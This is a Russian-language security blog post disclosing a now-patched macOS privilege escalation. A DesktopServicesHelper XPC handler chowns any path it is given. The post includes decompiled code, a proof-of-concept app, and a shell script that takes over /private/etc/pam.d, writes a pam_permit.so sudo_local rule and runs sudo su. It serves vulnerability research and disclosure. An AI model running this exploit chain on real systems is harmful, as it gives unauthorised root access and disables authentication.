Привет, Хабр! Меня зовут Илья Андр и я работаю в команде PT Maze. В статье расскажу, как любопытство помогло мне найти и помочь закрыть CVE-2026-43783. Демон, который Finder использует для «починки» прав на iCloud‑файлы, оказался готов починить права на что угодно — включая системные директории. В этой статье разберем, как устроен DesktopServicesHelper изнутри и почему одного XPC‑запроса хватило для получения root. Но для того чтобы разобраться, как именно такое стало возможно, сперва немного теории по внутренностям macOS.

Немного про macOS

В macOS много системных демонов — фоновых процессов, работающих с повышенными привилегиями. Они общаются с приложениями через XPC — механизм межпроцессного взаимодействия от Apple. Приложение подключается к демону по имени его mach‑сервиса, отправляет запрос — демон выполняет. Сами сообщения — это словари ключ‑значение (xpc_dictionary), в которые можно упаковать произвольные данные: строки, числа, массивы, бинарные блобы.

За доступ к защищенным ресурсам отвечает подсистема TCC. Обычные приложения должны запрашивать разрешение у пользователя, но системные компоненты Apple могут обходить TCC. Entitlements — это специальные ключи, встроенные в code signature бинарника, которые определяют его привилегии. Например, ключ com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles дает процессу полный доступ ко всем файлам на диске — без вопросов к пользователю. С поиска таких привилегированных XPC‑сервисов с полным доступом к диску начался мой путь к CVE-2026-43783.

Поиск цели

В глаза бросился DesktopServicesHelper по пути /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper. Finder использует его для файловых операций, требующих повышенных привилегий: перемещение файлов, установка прав, работа с корзиной.

 Entitlements DesktopServicesHelper
Entitlements DesktopServicesHelper

Загрузил бинарь в IDA и пошел в start(). Среди инициализации таймеров и очередей видим создание XPC‑listener'а — точки входа демона. Listener регистрирует mach‑сервис под определенным именем и начинает слушать входящие подключения. Любой процесс, знающий это имя, может подключиться и отправить запрос. Вот ключевая часть:

//получаем имя сервиса
v16 = (const char *)sub_1000709F4(a1: 0);
//регистрируем listener
mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
//назначаем обработчик входящих событий
xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48);
xpc_connection_resume(connection: mach_service);
//запускаем event loop
CFRunLoopRun();

Функция sub_1000709F4 возвращает имя mach‑сервиса. В start() она вызывается с аргументом 0, а значит демон регистрируется под именем com.apple.DesktopServicesHelper.

 const char *__fastcall sub_1000709F4(int a1)
 {
   if ( a1 != 0 )
     return "com.apple.DesktopServicesScriptingHelper";
   else
     return "com.apple.DesktopServicesHelper";
 }

stru_1000B4B48 — блок‑обработчик (callback), который демон вызывает при каждом входящем событии. В XPC взаимодействие устроено через сообщения: клиент формирует словарь с ключами и значениями, отправляет его демону, а демон разбирает содержимое и решает что делать. Все входящие события попадают именно в этот обработчик. Заглянем внутрь.

 stru_1000B4B48 в IDA
stru_1000B4B48 в IDA

Invoke‑функция блока — sub_100032044. При новом подключении демон первым делом получает euid и egid клиента — effective user ID и group ID — идентификаторы пользователя и группы, от имени которых работает подключившийся процесс:

   euid = xpc_connection_get_euid(connection: v8);
   egid = xpc_connection_get_egid(connection: v8);
   sub_100071268(a1: euid, a2: egid);

Затем назначает на соединение обработчик для входящих сообщений:

   v15[2] = sub_10003AB2C;  // invoke-функция блока
   xpc_connection_set_event_handler(connection: v14, handler: v15);
   xpc_connection_resume(connection: v14);

sub_10003AB2C — сюда попадают уже конкретные XPC‑запросы от клиента. Теперь нужно понять, как демон решает, какой запрос выполнить, а какой отклонить.

Диспетчер запросов

sub_10003AB2C — главный диспетчер. Здесь демон решает, что делать с запросом. Функция большая, поэтому разберем ее по частям.

Первым делом демон извлекает из сообщения строку request — имя команды, которую хочет выполнить клиент:

 reply = xpc_dictionary_create_reply(original: v12);
 string = xpc_dictionary_get_string(xdict: v12, key: "request");
 // ...
 // логирование: "Got Request '%{public}@'"

Затем демон получает audit token подключившегося процесса и проверяет, находится ли он в песочнице (App Sandbox). App Sandbox — это механизм изоляции приложений в macOS, ограничивающий их доступ к файловой системе, сети и другим ресурсам. Логика разветвляется в зависимости от результата:

xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// клиент в песочнице - проверяем по белому списку
      if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
        && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
      {
        sub_100034250(a1: v12, a2: &v32); // не в списке - убить демон
      }
    }
    else
    {
      // клиент не в песочнице - проверяем entitlement
      *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
      v19 = (const __CFArray *)sub_10003B1E0();
      v20 = v19;
      if ( v19 == nullptr
        || (v35.length = CFArrayGetCount(theArray: v19),
            v35.location = 0,
            CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
      {
        sub_100034250(a1: v12, a2: &v32); // нет entitlement - убить демон
      }
    }

Если клиент в песочнице — имя запроса проверяется по белому списку из семи строк. Если совпало — проверка пройдена, запрос уходит дальше. Если нет — sub_100034250 убивает демон. Если клиент не в песочнице — демон проверяет наличие entitlement com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles. Нет entitlement — тоже смерть.

После прохождения проверки запрос попадает в каскад из двух таблиц обработчиков. Сначала sub_10002F7C8, затем sub_10002A194:

// первая таблица (8 команд, два аргумента)
 v21 = sub_10002F7C8(a1: buf);
 // ...
 if ( v21 != 0 )
 v22(a1: v12, a2: v11); // нашли - вызываем
 // вторая таблица (21 команда, три аргумента)
 v27 = sub_10002A194(a1: buf);
 // ...
 if ( v27 != nullptr )
 v27(a1: v12, a2: reply, a3: v11); // нашли - вызываем

Теперь посмотрим на таблицы обработчиков. Первая таблица (sub_10002F7C8):

__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

Тут ничего интересного. Восемь обработчиков (OperationSizing, SetChildPermissions,...), все закрыты проверкой entitlements. Но есть вторая таблица — v27 = sub_10002A194(a1: buf):

__int64 __fastcall sub_10002A194(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
  __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
  __int64 v7; // [xsp+48h] [xbp-288h] BYREF
  __int64 v8; // [xsp+68h] [xbp-268h] BYREF
  __int64 v9; // [xsp+88h] [xbp-248h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-228h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-208h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
  __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
  __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
  __int64 v15; // [xsp+148h] [xbp-188h] BYREF
  __int64 v16; // [xsp+168h] [xbp-168h] BYREF
  __int64 v17; // [xsp+188h] [xbp-148h] BYREF
  __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
  __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
  __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
  __int64 v21; // [xsp+208h] [xbp-C8h] BYREF
  __int64 v22; // [xsp+228h] [xbp-A8h] BYREF
  __int64 v23; // [xsp+248h] [xbp-88h] BYREF
  __int64 v24; // [xsp+268h] [xbp-68h] BYREF
  __int64 v25; // [xsp+288h] [xbp-48h] BYREF
  __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "Handshake");
    sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename");
    sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories");
    sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome");
    sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems");
    sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem");
    sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy");
    sub_10002AA78(a1: (int)&v12, __s: "SetLabel");
    sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories");
    sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile");
    sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile");
    sub_10002AA78(a1: (int)&v16, __s: "RepairTrash");
    sub_10002AA78(a1: (int)&v17, __s: "Rename");
    sub_10002AA78(a1: (int)&v18, __s: "CreateFolder");
    sub_10002AA78(a1: (int)&v19, __s: "CreateAlias");
    sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate");
    sub_10002AA78(a1: (int)&v21, __s: "SetTags");
    sub_10002AA78(a1: (int)&v22, __s: "cancel");
    sub_10002AA78(a1: (int)&v23, __s: "pause");
    sub_10002AA78(a1: (int)&v24, __s: "resume");
    sub_10002AA78(a1: (int)&v25, __s: "exit");
    sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21);
    v3 = (void **)&v26;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD898);
  }
  result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

Уже 21 обработчик. Диспетчер работает каскадно: сначала ищет имя запроса в первой таблице (sub_10002F7C8, 8 команд) — это «fire‑and‑forget» операции, которые принимают XPC‑соединение и peer (объект клиента), но не возвращают ответ. Если не нашел — ищет во второй (sub_10002A194, 21 команда) — это операции с ответом, которые дополнительно получают reply (объект для отправки результата обратно клиенту).

Почти все команды либо не делают ничего интересного, либо закрыты проверкой entitlements. Но есть одна, которая открыта — RepairPermissionsForCloudItems. Найдем ее обработчик — в ассемблере видно, что sub_10002AA78 принимает третьим аргументом указатель на функцию:

 text:000000010002A2AC                 MOV             X2, X16
 text:000000010002A2B0                 MOV             X0, X20 ; int
 __text:000000010002A2B4                 BL              sub_10002AA78
 __text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
 text:000000010002A2BC                 ADD             X20, X21, #0x80
 text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
 __text:000000010002A2C8                 ADRL            X16, sub_10002D744
 __text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems ‑>>> sub_10002D744. Мы нашли единственный обработчик, доступный из песочницы без дополнительных entitlements. Осталось разобрать, что именно он делает с переданными данными.

Разбор обработчика RepairPermissionsForCloudItems

Обработчик sub_10002D744 делает три вещи. Сначала достает из XPC‑сообщения ключ "Paths" и десериализует его через NSKeyedUnarchiver в массив строк:

```c
  v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
  v9 = objc_claimAutoreleasedReturnValue(
         +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
           &OBJC_CLASS___NSKeyedUnarchiver,
           "unarchivedArrayOfObjectsOfClass:fromData:error:",
           objc_opt_class(a1: &OBJC_CLASS___NSString),
           v8,
           &v25));
```

Затем передает каждый путь в sub_100029CE4 через sub_100034B5C, чтобы определить, нужна ли «починка». Для путей, где починка нужна, вызывает sub_10002A11C:

```c
  sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
  if ( v22[0] != v22[1] )
    sub_10002A11C(a1: v5, a2: v22);
```

Никакой валидации путей — что передали, то и обрабатывает. Функция sub_100029CE4 проверяет, нужна ли «починка». Вот ключевая логика:

```c
  v3 = lstat(a1: v2, a2: &v28);
  // ...
  if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
    return false;                          // не директория + hardlinks > 1 - пропустить
  v6 = sub_100071288(a1: v4);             // получить UID вызывающего
  if ( v28.st_uid != v6 )
    return true;                           // владелец не совпадает - нужна починка
```

Логика проверки:

 lstat(path)

   │

   ├─ не директория && hardlinks > 1 ?

   │     └─ да → false (пропустить)

   │

   ├─ st_uid == наш UID ?

   │     └─ да → false (владелец совпадает, починка не нужна)

   │     └─ нет → true (нужна починка)

   │

   └─ директория ?

         └─ да → рекурсия по содержимому

Для путей, где починка нужна, вызывается sub_10002A11C — простой цикл, который итерирует по результатам и вызывает sub_100029440 для каждого. Вот ключевая логика sub_100029440:

```c
  fd = open(path, 0x200000);
  fstat(fd, &st);

  // единственная проверка: не директория + hardlinks >= 2 - пропустить
  if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u )
    return close(fd);

  // получаем UID вызывающего процесса (нас - 501)
  caller_uid = sub_100071288();

  // владелец не совпадает - меняем на наш
  if ( st.st_uid != caller_uid )
    fchown(fd, caller_uid, st.st_gid);

  close(fd);

  // если директория - рекурсивно вызываем себя для каждого элемента
  if ( (st.st_mode & 0xF000) == 0x4000 )
    sub_100029440(child_path);
```

Вот и все. fchown на переданный путь — без проверки, что он находится в ~/Library/Mobile Documents/ или каком‑то iCloud‑контейнере. Никакой валидации. А если путь — директория, функция рекурсивно обходит все содержимое и делает fchown на каждый элемент.

Перечитайте еще раз. Вдумайтесь. Передаем любую директорию — получаем в собственность все ее содержимое.

Итого

Полная цепочка от XPC‑запроса до fchown:

Sandboxed app

   │

   ├─ xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")

   │

   ├─ xpc_dictionary: "request" = "RepairPermissionsForCloudItems"

   │                   "Paths"   = ["/private/etc/pam.d"]

   │

   └─ отправка ──► DesktopServicesHelper (root)

                     │

                     ├─ sandbox_check: клиент в песочнице? → да

                     ├─ белый список: RepairPermissionsForCloudItems? → да, пропускаем

                     ├─ NSKeyedUnarchiver: достаем пути

                     ├─ lstat: st_uid != caller_uid? → да, нужна починка

                     └─ fchown(path, 501, gid) ← произвольный путь, никакой валидации

 Один XPC-запрос - и любой файл или директория в нашей собственности.  

Эксплуатация

Итак, у нас есть произвольный chown любого пути на диске. Осталось превратить это в root.

На macOS аутентификация работает через PAM. Конфиги лежат в /private/etc/pam.d/ — по файлу на каждую программу, которая проверяет пароль: sudo, login, su и так далее. Директория принадлежит root:wheel. А значит — мы можем забрать ее себе через наш chown. После этого мы вольны создать файл /private/etc/pam.d/sudo_local с одной строкой:

 auth sufficient pam_permit.so

pam_permit.so — PAM‑модуль, который всегда возвращает успех. sudo проверяет sudo_local до основного конфига. Итог: sudo больше не спрашивает пароль.

Но есть проблема. Просто так подключиться к com.apple.DesktopServicesHelper из песочницы нельзя: sandbox по умолчанию блокирует mach‑lookup к этому сервису. При этом сам демон проверяет, что вызывающий процесс находится в песочнице — и только тогда пропускает RepairPermissionsForCloudItems без проверки entitlements. Ирония: sandbox здесь не защита, а пропуск.

Чтобы sandbox разрешил mach‑lookup, нужен entitlement com.apple.security.temporary‑exception.mach‑lookup.global‑name. Собираем минимальный набор entitlements для PoC‑приложения:

 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
     <key>com.apple.security.app-sandbox</key>
     <true/>
     <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
     <array>
         <string>com.apple.DesktopServicesHelper</string>
     </array>
 </dict>
 </plist>

Два entitlement'а. com.apple.security.app-sandbox — включаем песочницу (без нее демон потребует TCC‑entitlement и не пропустит нас). com.apple.security.temporary-exception.mach-lookup.global-name — entitlement‑исключение для sandbox. Песочница разрешает подключение не ко всем mach‑сервисам, и com.apple.DesktopServicesHelper в список разрешенных не входит. Этот ключ добавляет исключение для конкретного сервиса. Больше ничего не нужно.

Пишем прямо во ViewController.m. Ключевой метод — chownPath:, который подключается к демону и отправляет запрос:

- (void)chownPath:(NSString *)path
{
    xpc_connection_t conn = xpc_connection_create_mach_service(
        "com.apple.DesktopServicesHelper", NULL, 0);
    if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {});
    xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ]
                                            requiringSecureCoding:YES
                                                            error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems");
    xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg);
}

Подключаемся к com.apple.DesktopServicesHelper, архивируем путь в NSArray через NSKeyedArchiver (как ожидает демон), формируем XPC‑словарь с ключом "request" = "RepairPermissionsForCloudItems" и отправляем. При запуске приложения вызываем chownPath: на /private/etc/pam.d и проверяем результат:

- (void)runExploit
{
    [self chownPath:@"/private/etc/pam.d"];
    usleep(200000);

    struct stat st;
    if (lstat("/private/etc/pam.d", &st) != 0) return;

    if (st.st_uid == getuid())
        NSLog(@"ok");
}

200мс ожидания, затем lstat — если владелец сменился на наш UID, значит chown прошел. Осталось собрать все вместе. Шелл‑скрипт запускает PoC‑приложение, ждет пока демон отработает, проверяет что chown прошел, пишет PAM‑правило и получает root:

#!/bin/sh
set -e

PAM_DIR="/private/etc/pam.d"
SUDO_LOCAL="$PAM_DIR/sudo_local"

# наше приложение
./poc.app/Contents/MacOS/poc &
POC_PID=$!
sleep 4
kill $POC_PID 2>/dev/null || true
wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then
    echo "chown failed"
    exit 1
fi

echo 'auth       sufficient     pam_permit.so' > "$SUDO_LOCAL"
chmod 644 "$SUDO_LOCAL"

# root
sudo id
sudo su

Патч Apple

В обработчик RepairPermissionsForCloudItems Apple добавили проверку на entitlement check:

if ( (sub_100034110(a1: v5, a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // нет entitlement - убить демон
}

Теперь только процессы с приватным entitlement com.apple.private.desktopservices.cloud-repair-perm могут вызвать RepairPermissionsForCloudItems. Без него — sub_100034250 убивает демон. Остальная логика функции не изменилась.

Timeline

  • 09.05.2026 Отправлен репорт в Apple Product Security

  • 11.05.2026 Apple поставили репорт в ревью

  • 13.05.2026 Apple воспроизвели баг, запланировали фикс на осень

  • 26.05.2026 Патч в macOS 26.6 beta 1

  • 11.08.2026 Присвоен CVE-2026-43783

Спасибо за прочтение, удачного багхантинга!

Комментарии (0)